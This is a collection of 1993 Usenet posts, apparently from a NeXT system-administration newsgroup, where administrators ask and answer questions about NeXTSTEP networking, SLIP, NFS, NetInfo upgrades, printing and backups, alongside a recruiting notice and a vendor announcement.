Organization: Dipartimento di Informatica, Universita' di Pisa
Date: Wed, 27 Jan 1993 14:55:40 GMT
I have to integrate a couple of new NextStation in the Campus network.
I have seen that handling next is not so simple like a real Unix. It seems to be
an interface layer between Unix and Next. For instance when I introduce a local
user no change is made to passwd, but when I manually edit passwd, the user is
recognized. How is it possible?
I also need to shadow password on the nextstation, but no option to do that is
in the manual. And finally, the next cannot print to the apple printers on
ethernet, because of some errors in the postscript.
Is there a FAQ to which I can refere to do the job? Anybody had my same
difficulties, and overall is there a way to make Next a normal Unix sensible
to modifications to standard configuration files?
From: Conrad_Geiger@NeXT.com (Conrad Geiger - Manager, International NeXT User Groups)
Newsgroups: comp.sys.next.sysadmin
Subject: Pencom Software Seeks 10 NeXT Engineers (NEast, Midwest, West, Canada)
Message-ID: <6543@rosie.NeXT.COM>
Date: 27 Jan 93 19:51:49 GMT
Sender: news@NeXT.COM
Pencom Software Seeks 10 NeXT Engineers
Location: North America (Northeast, Midwest, Texas, West, Canada)
For more information, contact:
Clint Tomlinson (Manager, NeXT Recruiting)
Pencom Software
9050 Capital of Texas Highway
North Austin, Texas 78759
Telephone: 512-343-1111
Fax: 512/346-6444
E-Mail: clint@pencom.com
AUSTIN, TEXAS - January 27, 1993 - Pencom Software's team of NeXT
engineers are specifically dedicated to serving both developers and
end user organizations equipped with workstations and software from
NeXT Computer, Incorporated.
Already a NeXT-authorized systems integrator as well as a registered
NeXT software developer, Pencom is expanding the service to
capitalize on the growth NeXT has recently experienced.
Pencom Software is a division of Pencom Systems Incorporated, a New
York-based firm providing software engineering and manpower resources
to Fortune 500 companies and leading computer firms since 1973.
Currently the largest recruiting firm specializing in the UNIX/Open
Systems market, Pencom employs over 500 people and maintains a large
heterogeneous network of workstations including more than 70 NeXT
machines.
For more information, contact:
Clint Tomlinson - Manager, NeXT Recruiting
Pencom Software
9050 Capital of Texas Highway
North Austin, Texas 78759
Telephone: 512-343-1111
Fax: 512/346-6444
E-Mail: clint@pencom.com
These positions below are available in the United States and Canada
and require permanent residence and 2+ years industry experience:
Texas
1- Senior Database Specialist
* 5+ years database design and database applications
development experience
* 3 years application development experience in a UNIX
environment
* 2 years DBMS experience using an SQL-based DBMS
* 1+ year applications experience in the NeXTSTEP
environment
* Strong background in proposal generation, system
specification, third-party software evaluation, technology
transfer, rapid prototyping
* Experience with AppKit, DBKit, NeXTSTEP 3.0, OOD, C++,
Objective-C
* GUI and Porting experience
Northeast
3 - Development Technical Leads
* Strong NeXTSTEP applications development experience
* Strong UNIX/C, database programming (Sybase, Oracle,
Informix)
* Experience with Objective-C, AppKit, Interface Builder
* High level applications design and rapid prototyping in
NeXT environment
* Project/Technical lead experience
* Good interpersonal skills (oral and written)
* Technical support/OOP, OOD methodology transfer
capabilities
* 6 to 10 years computer industry experience
1 - System Administrator
* NeXT/Sun/UNIX system administration experience
* Network Management background
* Objective-C or C++ experience
* Background in a heterogeneous systems environment a must
1 - Software Engineer
* NeXT/UNIX application software development
* Strong NeXTSTEP, AppKit, Interface Builder experience
* High level design, rapid prototyping in NeXT environment
* Ability to work in a dynamic team environment
* Strong Objective-C or C++ programming experience
* 5 to 8 years experience
West
1 - Senior Database Specialist
* 5+ years database design and database applications
development experience (strong ORACLE experience)
* 3 years application development experience in a UNIX
environment
* 2 years DBMS experience using an SQL-based DBMS
* 2+ year applications experience in the NeXTSTEP
environment
* Experience with AppKit, DBKit, NeXTSTEP 3.0, OOD,
Objective-C
Mid-West
1 - Senior Systems Engineer
* Provide NeXT applications development and support
assistance
* Project Management/Project Lead experience
* Very strong interpersonal skills, technical marketing
experience a plus
* Technology transfer of OOD, OOP methodologies
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From: andrew@cubetech.com (Andrew Loewenstern)
Subject: Re: Novell netware filesystems
Message-ID: <1993Jan26.185653.5657@cubetech.com>
Organization: Cube Technologies, Inc.
References: <1993Jan26.015750.21901@crs-sys.uucp>
Distribution: comp
Date: Tue, 26 Jan 1993 18:56:53 GMT
In article <1993Jan26.015750.21901@crs-sys.uucp> crs@crs-sys.ersys.edmonton.ab.ca (Chris Gregors) writes:
>Is it possible to publish the Next volume as a netware accessable filesystem
>using the stock configuration or am I dreaming?
>
>ie: access Next files from a Novell workstation. The opposite of accessing
> a Novell fileserver from the Next.
You can't make your NeXT into a NetWare server, but if you NFS export
your NeXT volumes, you can mount them with NFS software on the PC.
I've never done it, though.
andrew
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From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop))
Subject: Re: CAP under NeXTstep 3.0
Message-ID: <1993Jan27.144533.20214@dvorak.amd.com>
Sender: usenet@dvorak.amd.com (Usenet News)
Organization: Advanced Micro Devices, Inc.; Austin, Texas
References: <1993Jan26.093530.15705@fzi.de>
Distribution: usa
Date: Wed, 27 Jan 93 14:45:33 GMT
In article <1993Jan26.093530.15705@fzi.de> bwild@fzi.de writes:
>>In article <1993Jan25.182909.24681@pslu1.psl.wisc.edu>
hoymand@wissago.wisc.edu
>>(Dirk Herr-Hoyman) writes:
>>> Could you explain how you have your Next and your AppleTalk network
>>connected?
>>> If Ethertalk is not supported, I am not clear as to how this is done.
>>>
>>> Also, do you know if anyone is working to bring up Ethertalk?
>>>
>>
>>All Macs are grouped together to LocalTalk clusters, typically 5 to 10 Macs
per
>>cluster. In every cluster a Kinetics FastPath is running which is hooked
>>directly to our Ethernet backbone. The FP serves
>>* as a bridge between different LocalTalk clusters, thus connecting them
>> together logically (i.e. the user doesn't see the Ethernet part)
>>* as a gateway for MacTCP packages. These are Internet packages wrapped
>> in AppleTalk packages. The FP removes the wrapper and sends them to the
>> Ethernet as plain Internet packages and vice versa.
>>* as a bridge for EtherTalk packages as they can be send by
>> Ethernet-equipped Macs. But, the other Ethernet hosts like Suns or
>> NeXTs have to understand the EtherTalk protocol. Up to now NeXT has
only
>> built in the AppleTalk protocol. EtherTalk is supported on some
>> platforms by CAP but not on NeXT.
I thought it was just the opposite...that NeXT only implemented the ethertalk
client and not the appletalk client.
Someone who really knows please clarify!!!
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Advanced Micro Devices
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From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop))
Subject: Re: gdb connection to Edit (view) doesn't work ????
Message-ID: <1993Jan27.144633.20335@dvorak.amd.com>
Sender: usenet@dvorak.amd.com (Usenet News)
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Date: Wed, 27 Jan 93 14:46:33 GMT
In article <1993Jan26.175804.18242@sifon.cc.mcgill.ca>
brit@wagner.Physics.McGill.CA (Dave Britton) writes:
>>On one of our NeXTStations running NS3.0 the following
>>works fine:
>>>gdb myProgram
>>>view
>>and Edit gets fired up with a menu item GDB.
>>
>>However, on all out other identical NeXT's it does not work
>>and I can't find any difference. Edit gets fired up but no
>>menu item is added and gdb hangs (no prompt is returned).
>>
>>Both Terminal and Edit are in an NFS mounted directory
>>(they are NOT local to the one machine that works).
>>Each machine has it's own version of /bin/gdb but they
>>are the same version number on all machines.
>>
>>Anybody got any suggestions?
>>
>>Thanks, Dave.
Set the preferences for Edit telling it to launch in "developer mode".
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From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop))
Subject: Re: Slip and -NXHost
Message-ID: <1993Jan27.145036.20671@dvorak.amd.com>
Sender: usenet@dvorak.amd.com (Usenet News)
Organization: Advanced Micro Devices, Inc.; Austin, Texas
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Distribution: na
Date: Wed, 27 Jan 93 14:50:36 GMT
In article <C1H53I.LuF@oceania.com> Kambiz Aghaiepour <kambiz@oceania.com>
writes:
>>
>>I am having trouble -NXHost'ing an application from a client machine that is
>>connected to my network via slip. (Yeah, I've heard it's really slow and
>>not worth the trouble; but I enjoy pain!)
>>
>>I have Louis A. Mamakos' slip. And the two machine that are connected are
>>both running 3.0 (one is a cube, the other a nextstation turbo). When I
>>start any application with the -NXHost option, e.g.
>>
>> /NextApps/Terminal.app/Terminal -NXHost slipserver &
>>
>>I get the following familiar message:
>>
>> DPS client library error: Could not form connection, host slipserver
>>
>>I have set the preferences (on slipserver) to be a public window server
>>and I have logged out and back in since changing the prefs. I must be
missing
>>something really obvious. Has anyone ever tried to do this before? Any help
>>is greatly appreciated.
The window server on the machine you want to display needs to be public, not
the server (remote) machine.
At lease that's my understanding...
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Message-ID: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu>
Date: Wed, 27 Jan 1993 16:05:26 -0500
From: Tod McQuillin <tm8t+@andrew.cmu.edu>
Subject: Next NFS server upgrade
We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50
NFS clients or so. We're considering upgrading the server with a
Turbo board (68040/33Mhz).
My question is, with such a configuration, is upgrading to a Turbo
likely to help? It's quite possible that the machine is disk-bound,
in which case increasing the CPU speed won't significantly help.
Any comments?
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Message-ID: <cfNjch200YUn0=N29f@andrew.cmu.edu>
Date: Wed, 27 Jan 1993 16:10:05 -0500
From: Tod McQuillin <tm8t+@andrew.cmu.edu>
Subject: 3.0 Upgrades
Given a large netinfo network, is there any reason to upgrade all the
netinfo client machines to NeXTStep 3.0 before the netinfo server is
upgraded? We'd like to upgrade our netinfo server to 3.0, but have
heard that for certain reasons this might not be a good idea.
Anyone know what these reasons are?
Thanks
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: CAP under NeXTstep 3.0
Message-ID: <C1Jzuo.M0I@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Jan26.093530.15705@fzi.de> <1993Jan27.144533.20214@dvorak.amd.com>
Distribution: usa
Date: Thu, 28 Jan 1993 07:37:21 GMT
rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes:
>In article <1993Jan26.093530.15705@fzi.de> bwild@fzi.de writes:
>>>In article <1993Jan25.182909.24681@pslu1.psl.wisc.edu>
>hoymand@wissago.wisc.edu
>>>(Dirk Herr-Hoyman) writes:
>>>> Could you explain how you have your Next and your AppleTalk network
>>>connected?
>>>> If Ethertalk is not supported, I am not clear as to how this is done.
>>>>
>I thought it was just the opposite...that NeXT only implemented the ethertalk
>client and not the appletalk client.
Indeed it is the opposite. CAP supports EtherTalk over the NeXT's
built-in ethernet port. It does not support, as many would wish,
LocalTalk through the serial port. In order to connect to
LocalTalk'd Macs (and especially printers), you must have a
LocalTalk-EtherTalk bridge, such a a Shiva/Kinetics FastPath or
Cayman GatorBox.
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Next NFS server upgrade
Message-ID: <C1K083.Mtr@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <gfNjYKq00YUn0=N1kh@andrew.cmu.edu>
Date: Thu, 28 Jan 1993 07:45:25 GMT
Tod McQuillin <tm8t+@andrew.cmu.edu> writes:
>We're running a NeXT cube (68040/25Mhz) with 2.5 GB of disk serving 50
>NFS clients or so. We're considering upgrading the server with a
>Turbo board (68040/33Mhz).
>My question is, with such a configuration, is upgrading to a Turbo
>likely to help? It's quite possible that the machine is disk-bound,
>in which case increasing the CPU speed won't significantly help.
>Any comments?
Do a ps auxw on the machine when it is most loaded down! The nfsd's
should be at the top. On most of our servers, the 4 nfsd's use
around 9% of CPU each when about 90 machines are accessing that
server. The bottleneck is probably network interface and disk i/o.
Too bad there is no cache like Prestoserve available for NeXTs. (at
least not that I know of)
Also do an 'uptime' when heavy usage. If you see load averages
around 1.5-2.0 from just 'server-ish' duties, then you might want to
upgrade the machine. I doubt you will get that kind of usage
though. (unless it's your netinfo server too)
To monitor network traffic, say 'netstat 1' or so... it will give
you a packet report each second. Total numbers around 200 in and
out is close to peak. This is not an exact count, I'm no expert on
this subject but I have been told that this isn't the way to check
your network.
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From: asauerbi@molbio.cbs.umn.edu (Arnim Sauerbier)
Subject: Re: Display PostScript Book
Message-ID: <C1K36v.18G@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
References: <1993Jan23.173231.23571@trilithon.mpk.ca.us>
Date: Thu, 28 Jan 1993 08:49:40 GMT
I found the book to be poorly organized (multiple authors), thus, hard to
use as a reference. It was the only reference I used to write some
screen-savers (I'll put em up on an ftp site -- when I'm satisfied with em!)
so It certainly did the job for me...
arnim
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From: zulu!errol (Errol Ginsberg)
Subject: Re: Network Management Software Using NeXTstep
Message-ID: <1993Jan26.184158.7180@ridgeback.com>
Keywords: SNMP, Network management
Sender: errol@ridgeback.com (Errol)
Organization: Ridgeback Solutions
References: <1993Jan25.185855.16310@macc.wisc.edu>
Date: Tue, 26 Jan 1993 18:41:58 GMT
In article <1993Jan25.185855.16310@macc.wisc.edu> anderson@macc.wisc.edu
(Jess Anderson) writes:
> --- deleted ----
> They asked me, and I simply don't know, whether there are
> tools already available for NeXT for managing networks,
> things on the order of Sun Net Manager, for example.
>
> Has anyone other there in netland found or made tools of
> this sort?
------ deleted rest of message -------
We have a very comprehensive SNMP agent for NeXT and Sun workstations
compatible with all the major SNMP management platforms such as HP
Openview, SunNet Manager, Lexcel Lance and IBM Netview 6000. Our SNMP
agent for NeXT has been shipping for several months and is in use at many
large installations. Our agent has numerous private extensions providing
detailed information on processes running, file systems, swap files,
virtual memory status, CPU utilization etc.
We are about to start Beta test (within a few weeks) of our NeXTSTEP SNMP
management software that is compatible with our SNMP agent and any
MIB-I/II SNMP device. This software will allow the user to configure maps
of his network (and all the devices) and set alarm thresholds for various
MIB variables for automated monitoring.
Please contact us for further information.
--
Regards,
Errol Ginsberg
Ridgeback Solutions SNMP Network Management for NeXT
info@ridgeback.com
Tel: 310/456-6094
Fax: 310/456-9715
Disclaimer: I work for Ridgeback Solutions so my opinions are of course
biased.
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Regards,
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From: bill@ganesha.cognet.ucla.edu (William M. Eldridge)
Subject: nn: "Database magic number mismatch" error?
Message-ID: <1993Jan28.093953.2249@cognet.ucla.edu>
Sender: news@cognet.ucla.edu
Organization: UCLA Cognitive Science Research Program
Date: Thu, 28 Jan 1993 09:39:53 GMT
Trying to get nn compiled on a NeXT Turbo Color running 3.0,
using latest fully patched version of nn.
1) There's a conf/s-NeXT1-0.h file, but no updates for 2.0
or 3.0 - is this cool, or is a more recent version available?
2) I'm NFS mounting the nn database from a Sun. When I type
"nn" I get a "Database magic number mismatch" error.
Nothing I found in Next or nn FAQs talks about this one.
nn runs fine on the Suns.
Any clues?
Thanks.
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From: gaia@wam.umd.edu (L. Anathea Brooks)
Subject: SLIP IS UP, BUT...
Message-ID: <1993Jan28.131017.16562@wam.umd.edu>
Sender: usenet@wam.umd.edu (USENET News system)
Organization: University of Maryland, College Park
Date: Thu, 28 Jan 1993 13:10:17 GMT
After a lot of work I have Louis Mamakos' SLIP connecting to the
server, but all I can do with any success is ping to the server itself.
I know next to nothing about networking and net configuring, so
please if anyone can explain how I can fix this, keep in mind that
saying "put X in netinfo" is meaningless to me.
I would naturally like to do ftp telnet etc.
Thanks for advice,
Robert de Lucca
Johns Hopkins Univ
Nextmail: rdelucca@rosemary.uucp.jhu.edu
(At least until I get SLIP up!)
From: anderson@sapir.cog.jhu.edu (Stephen Anderson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: SLIP IS UP, BUT...
Message-ID: <ANDERSON.93Jan28092525@sapir.cog.jhu.edu>
Date: 28 Jan 93 14:25:25 GMT
References: <1993Jan28.131017.16562@wam.umd.edu>
Sender: news@umd5.umd.edu
Organization: Dept. of Cognitive Science, The Johns Hopkins University
In-reply-to: gaia@wam.umd.edu's message of 28 Jan 93 13:10:17 GMT
I'm in a very similar situation: I can connect from my home machine to
the slip server on my office machine, but apart from being able to
ping the slip interface, I can't get any further (can't even ping the
ethernet interface on the slip server machine). I wrote Louie a while
ago asking for help (Hi, Louie! I'm a paying customer....:-) but
didn't hear anything.
I wouldn't clutter the net with this, but I think that if someone
could post a good description of what to do to establish connectivity
on a slip server so that slip clients can connect to the net, it would
be a public service. Louie's manual gives a fine description of what
to do to get the client-server connection up. That's probably fine if
you're using slip to connect to an existing server that someone else
is already administering, but I don't know of a ready resource for
what to do if you have to setup the server too.
--Steve Anderson
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From: jiang@csbser.csb.yale.edu (Jianxin Jiang)
Subject: Printing to a remote printer
Message-ID: <1993Jan28.182400.14937@news.yale.edu>
Keywords: Remote printer, Sun Sparcprinter
Sender: jiang@csbser (Jianxin Jiang)
Organization: Center for Structural Biology, Yale University
Date: Thu, 28 Jan 1993 18:24:00 GMT
Hello everyone,
I have a small ethernet of two NeXTstation Turbos and a Sun Sparcstation
IPC with a Sparcprinter connected to its video port. The NeXTstations do not
run NetInfo. Usual network applications such as telnet and ftp all work. When
I tried to print from the NeXT to the Sparcprinter, nothing got printed and I
got an error message saying that all or some pages will NOT be printed.
Here is what I did on the NeXTstations:
1) niload printcap / < /etc/printcap
2) reboot
The printcap on the NeXT is as follows
lp|sparcprinter:rm=cable:rp=lp:sd=/var/spool/lpd:
Any idea what the problem is or what I did wrong? Thanks!
Jiang
From: ricardo@pencom.com (Ricardo Parada)
Newsgroups: comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Microphone II (send/receive e-mail via compuserve?)
Message-ID: <1993Jan27.183752.25063@pencom.com>
Date: 27 Jan 93 18:37:52 GMT
Sender: usenet@pencom.com (Usenet Pseudo User)
Organization: Pencom Software
Has anybody used Microphone II or any other software packaged to automatically
download e-mail from compuserve?
Does it work?
Does it work with NeXTmail?
P.S. I have a friend with Compuserve only access who has a NeXT and would like
to send/receive e-mail using compuserve.
--
+ Ricardo J. Parada
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From: coco@cbnewsl.cb.att.com (felix.lugo)
Subject: Need drive SCSI id info
Organization: AT&T
Date: Thu, 28 Jan 1993 17:32:49 GMT
Message-ID: <1993Jan28.173249.15771@cbnewsl.cb.att.com>
I have a friend who needs to change the SCSI-ID of a MAXTOR XT-8380S
(NeXT supplied) hard drive from 1 (NeXT default) to 0. Anyone have information
on what the SCSI-ID selection pins are on this drive? Thanks in advance!
--Felix
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From: andrew@cubetech.com (Andrew Loewenstern)
Subject: Re: swapfile keeps growing . . .
Message-ID: <1993Jan28.160507.17743@cubetech.com>
Organization: Cube Technologies, Inc.
References: <1993Jan27.154600.11256@mattcube>
Date: Thu, 28 Jan 1993 16:05:07 GMT
In article <1993Jan27.154600.11256@mattcube> matt%mattcube@concert.net writes:
>I know that this has been asked before, but how to fix a swapfile under
>3.0 that keeps growing and growing . . . ?
>
>This same machine did not have this problem under 2.2
>
>(Turbo Cube 400/32 - Monochrome).
Use less memory.
andrew
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From: lfahnoe@kegworks.mn.org (Larry Fahnoe)
Subject: Re: NeXTstation to DEC MicroVAX connectivity
Message-ID: <1993Jan28.121721.10508@kegworks.mn.org>
Organization: The Kegworks, Minneapolis, Minnesota
References: <1k48gaINN51e@darkstar.UCSC.EDU>
Date: Thu, 28 Jan 1993 12:17:21 GMT
In article <1k48gaINN51e@darkstar.UCSC.EDU> isbell@cats.ucsc.edu (Art Isbell) writes:
> 1. Connect the NeXTstation to the DECserver via a serial line. If this is
> possible, how does one direct Terminal to connect to that serial port?
> Is any additional harware or software required on either end (other than
> a serial cable :-)
You still need to use something like tip or (better yet) kermit to get
from the Terminal to the serial port. This is probably the cheapest
method though.
> 2. Make the NeXTstation an ethernet node and use telnet or rlogin to
> establish a MicroVAX login session. In my distant foggy past, I seem to
> recall using telnet to login to a VAX, so I assume that telnet and
> possible the "r" utilities (rlogin, rsh, rcp, etc.) are available for a
> MicroVAX. What additional hardware/software would be required?
Since the MicroVAX already has an ethernet controller, you would need to
install IP on the VAX. Digital has The VMS/Ultrix Connection (aka UCX,
and TCP/IP Services for VMS) which will do the trick. TGV has MultiNet
which is the most functional (IMHO) implementation of IP on VMS. Process
Software has TCPware which is a fast implementation of IP, and it may be
somewhat cheaper than MultiNet. There are a few other IPs for VMS, but
these are the ones that I've worked with. For further info, ask the
question in comp.os.vms.
> 3. (Fill in your favorite suggestion here.)
Investigate putting DECnet on the NeXT. Thursby Software is close to
having a release available (actually, it has been running for some time,
they are just looking for market interest before they bother putting the
time into the final-testing/manuals/packaging). I think there is another
vendor that supports DECnet on UNIX, but I don't recall the name, and do
not know if they support the NeXT.
--Larry
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From: sam@chpc.utexas.edu (Samuel R. Oliveira)
Subject: cannot mount root. In Brazil
Message-ID: <1993Jan28.205715.8413@chpc.utexas.edu>
Summary: Need Help to boot
Keywords: panic
Organization: The University of Texas System - CHPC
Date: Thu, 28 Jan 93 20:57:15 GMT
I have a NeXTStation here in Brazil for about a year now. I never
had any seriuous problem. Last week one of the users tried to read
a floppy disk in a MacIntosh format. He said the panic window appeared,
and turned off the machine.
When I tried to boot the NeXT this is what I got:
init arg: -sx
.
.
NeXT Mach 2.1: ...
FPU version 0x40
physical memory= 8.00 MB
available memory = 7.03 MB
...
...
dsp0 at 0x2100000
np0 at ...
sound at ...
root on sd0
master cpu at slot 0
Target 1: MEDIA ERROR; block 241H retry 1... 9
sd0 (1,0):sense key:0x3 additional sense code:0x11
SCSI Block in error = 577 ; Partition a F.S. sector 128
panic: (Cpu 0) vfs_mountroot: cannot mount root
..
..
panic >
Can anyone there help me out???? Please reply to
samolive@brunb.bitnet (prefered) or
sam@hermes.chpc.utexas.edu
It is really hard to read news from the southern hemisphere, so please e-mail
me any hint. Thanks so much
Samuel R. Oliveira
Brazilian NUGts
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From: gcolello@biosphere.Stanford.EDU (Greg Colello)
Subject: Setuid Permission Not Copied By FileViewer?
Message-ID: <1993Jan28.210939.6314@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Thu, 28 Jan 93 21:09:39 GMT
I'm probably the only one in the Next sys admin world who didn't know
this, but I found out the hard way that the FileViewer apparently strips
the setuid permission when copying files even though it retains all other
parts of the permissions matrix. The "hard way" I mentioned involved an
attempt to restore /NextApps and /NextAdmin from the NS3.0 CDROM using the
FileViewer (while logged onto root). Everything was copied exactly except
the setuid permissions (there are 11 such files in /NextApps and
/NextAdmin). This "stripping of setuid" occurs even if you copy a file
from one part of your own account to another part.
Ok. Now I know. I should have used cp -rp to restore the directories. Too
bad. I've gotten real fond of using the GUI to do "Unix stuff".
Is there any way to make the FileViewer copy the setuid permissions
faithfully (like a dwrite or something)? I checked as much documentation
as I could and found no mention of this.
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Greg Colello
Carnegie Institution, Department of Plant Biology
Stanford University
gcolello@biosphere.stanford.edu (NeXT mail OK)
From: sears@tree.egr.uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: 3.0 Upgrades
Date: 28 Jan 1993 19:00:26 GMT
Organization: University of Houston
Message-ID: <1k9agaINNofi@menudo.uh.edu>
References: <cfNjch200YUn0=N29f@andrew.cmu.edu>
In article <cfNjch200YUn0=N29f@andrew.cmu.edu> writes:
#Given a large netinfo network, is there any reason to upgrade all the
#netinfo client machines to NeXTStep 3.0 before the netinfo server is
#upgraded? We'd like to upgrade our netinfo server to 3.0, but have
#heard that for certain reasons this might not be a good idea.
#
#Anyone know what these reasons are?
#
#Thanks
We upgraded out servers (two of them) to NS3.0 before our clients. This
seemed logical and worked without a hitch....
--
Paul S. Sears * sears@uh.edu (NeXT Mail OK)
The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
Newsgroups: comp.sys.next.sysadmin
From: ajones@oxy.edu (A. Lee Jones)
Subject: need help indexing unix manual pages
Message-ID: <1993Jan28.224805.15342@cheshire.oxy.edu>
Keywords: indexing manual
Sender: usenet@cheshire.oxy.edu (System Account)
Organization: Occidental College, Los Angeles, CA. USA
Date: Thu, 28 Jan 1993 22:48:05 GMT
i have a small problem. through a quirk [i.e., a crash], the
manual pages on the small network of NeXTs which i administrate have
become faultily indexed.
i would like to return the .index's to their former state (the one in which the
Digital Librarian understands how to build man pages, if necessary, and knows
that the man directories are arranged hierarchically, etc.
i have been completely unable to get it to be in this condition.
when i attempt to rebuild (manually, using ixBuild, etc.; or automatically,
from Librarian) these indices, two things always happen: the nroff/troff files
are analyzed as they are (in pre-nroff text format) and the files are indexed
beginning at the /usr/man level. (i.e., all of the files show as cat1/csh, or
man1/trn, for example.)
can anyone help me with this? i am quite frustrated and have been unable to
piece together how to do this from the documentation (man pages and NeXT
manuals) available to me. email is fine (maybe even preferred, given the
volume on this group).
--
lee.
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a. lee jones
ajones@oxy.edu
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From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Using NeXT's and VAX/VMS systems
Message-ID: <z7r3cdb@rpi.edu>
Date: Thu, 28 Jan 1993 20:52:34 GMT
A local user is thinking of buying some NeXT's to augment the work they
already do on some Vax's running VMS. Most of the data they have is
currently on the VMS systems, and he was wondering how easy it is for NeXT's
and VMS systems to share data. Does VMS support NFS, for instance? Are the
line-ending characters the same in VMS as they are in Unix/NeXT land?
He asked me, and since I have never worked with a VMS system I figured I'd
ask the net. For anyone who is using NeXT's with VMS systems, how well do
they work together? I'd appreciate hearing from anyone who has done this
already. Either reply to me (email) or just follow-up. I'll summarize what
email messages I receive.
Thanks.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin
From: yf5990@u.cc.utah.edu (Yan Fang/Humanities)
Subject: News just ain't workin'....
Message-ID: <1993Jan29.024306.27772@fcom.cc.utah.edu>
Sender: news@fcom.cc.utah.edu
Organization: University of Utah Computer Center Student Mail Machine
Distribution: usa
Date: Fri, 29 Jan 93 02:43:06 GMT
I need some help with my misbehaving news installation.
My NeXTstation Color running Rel3 won't work properly with the CNews.pkg
installation found in sonata's /pub/next/patches. I open the package,
follow the instructions to the letter, and when news transfers from the
feeding site, it immediately returns a mail message to that site sent to
its news daemon.
I own Managing UUCP and Usenet, and found no helpful hints to troubleshoot
news when it's already up and running. I've checked the obvious things
like permissions and found nothing. But perhaps this is pertinent. I did find
this mail message tucked away in /usr/spool/uucp:
From uucp remote from magnusson
received by magnusson (NX5.67c/NX3.0M)
if AA00257; Thu 28 Jan 93
From: <magnusson!uucp>
To: doberman!news
Subject: uuxqt cmd (rnews) status (signal 0, exit 1)
If anyone wants to sink a little precious free time into helping me read
news from my nice NewsGrazer UI instead of rn, I would greatly appreciate it.
Just reply to this message. It'll bounce to my machine at home.
Kris Magnusson
Alpine Computing/MicroAge
Sales Engineer
--
Yan Fang-Magnusson
Ph.D. candidate, philosophy, University of Utah
yf5990@u.cc.utah.edu
yanfang@cc.utah.edu (NeXTmail)
Newsgroups: comp.sys.next.sysadmin
From: gcolello@biosphere.Stanford.EDU (Greg Colello)
Subject: How do I prevent cp from traversing links?
Message-ID: <1993Jan29.031726.19345@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Fri, 29 Jan 93 03:17:26 GMT
The title says it all. Is there any undocumented option or alternate
version of cp that simply copies a link file "as is" instead of copying
what it's linked to?
I like to use "cp -rp" to backup our file system onto optical disks. It's
convenient for easy restores of small numbers of files. Obviously I don't
end up with an exact image due to the "copy through link" functionality.
-----------------------------------------------------------------
Greg Colello
Carnegie Institution, Department of Plant Biology
Stanford University
gcolello@biosphere.stanford.edu (NeXT mail OK)
From: hogan@jasper (Kharim Hogan)
Newsgroups: comp.sys.next.sysadmin
Subject: Anyone ever seen such a thing???
Message-ID: <1993Jan29.023718.16245@thunder.mcrcim.mcgill.edu>
Date: 29 Jan 93 02:37:18 GMT
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
Hi,
Well I'm baffled and am wondering if anyone has ever had
a similar experience to the one I am about to describe.
Three weeks ago our server suddenly went down. It just
powered itself off in the middle of the night. Now this
machine (25 MHz 040 NeXTstation) sits on a UPS and since
there were no messages out of the ordinary (i.e. no panic,
no special messages dumped), I assumed that there may
have been a power failure that outlasted the UPS. (Since
I was away at the time, someone else was there to reboot
the system and everything was fine until I returned).
Noone ever really took notes so I don't know more about
the details then.
BUT last week, the same thing happened again. This time
I was there so checked all possibilities. Ruled out
power failure, power transfer, system panics, breaker
overload etc. There was absolutely no clue as to the
cause of this. The system doesn't panic, it's as if
someone had walked in and powered down the machine.
(Point to note that only two people have access to that
room and neither was there at the time). So I reboot
the system and all is fine until the next night when
this happens again. In short this happened three nights
in a row and the weird thing other than the obvious
mystery is the times at which this happens.
First night 06:00:13
Second night 04:00:12
Third night 05:00:13
So one would deduce that this just might take place
again the following night at say...03:00:12 right? ;-)
Anyway, other than the fact that the whole episode was
getting somewhat tiresome, it was time to change something
but what? So I started by unplugging the machine from the
UPS and plugging it directly into the wall. Since then
(4 days now) the server seems happy. No unusual shutdowns
but who knows whether this was the problem or just coincidence!
One thing to note is that the monitor on that machine is
starting to dim and become fuzzy. Could this be related?
Has anyone ever seen this before or have any idea what
causes this sort of behaviour? I'm still not sure whether
this problem is over or not. Can anyone help?
BTW, there are also 2-1.2Gb disks plugged into the UPS.
Any clues?
Thanks,
Kharim
PS: While I'm at it, anyone know of another or better or
different version of 'rusers' out there than the one that
comes with the system. This ones getting to be a real
drag. Thanks.
--
*************************************************************************
Kharim M. Hogan Systems Administrator
hogan@music.mcgill.ca Faculty of Music, McGill University
*************************************************************************
Newsgroups: comp.sys.next.sysadmin
From: gcolello@biosphere.Stanford.EDU (Greg Colello)
Subject: How do I initialize an OD mounted with "mount"?
Message-ID: <1993Jan29.034304.20044@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Fri, 29 Jan 93 03:43:04 GMT
The title says it all. Almost.
I like to backup my file system in sections onto a dedicated set of
opticals disks (OD). Before copying a section of the file system I simply
initialize the optical using the Workspace/Disk/Initialize option. Then
eject the OD. Then I mount the OD in such a way that I can log off and it
stays mounted (as well as preserving the owner field):
mount /dev/od0a /OpticalDisk
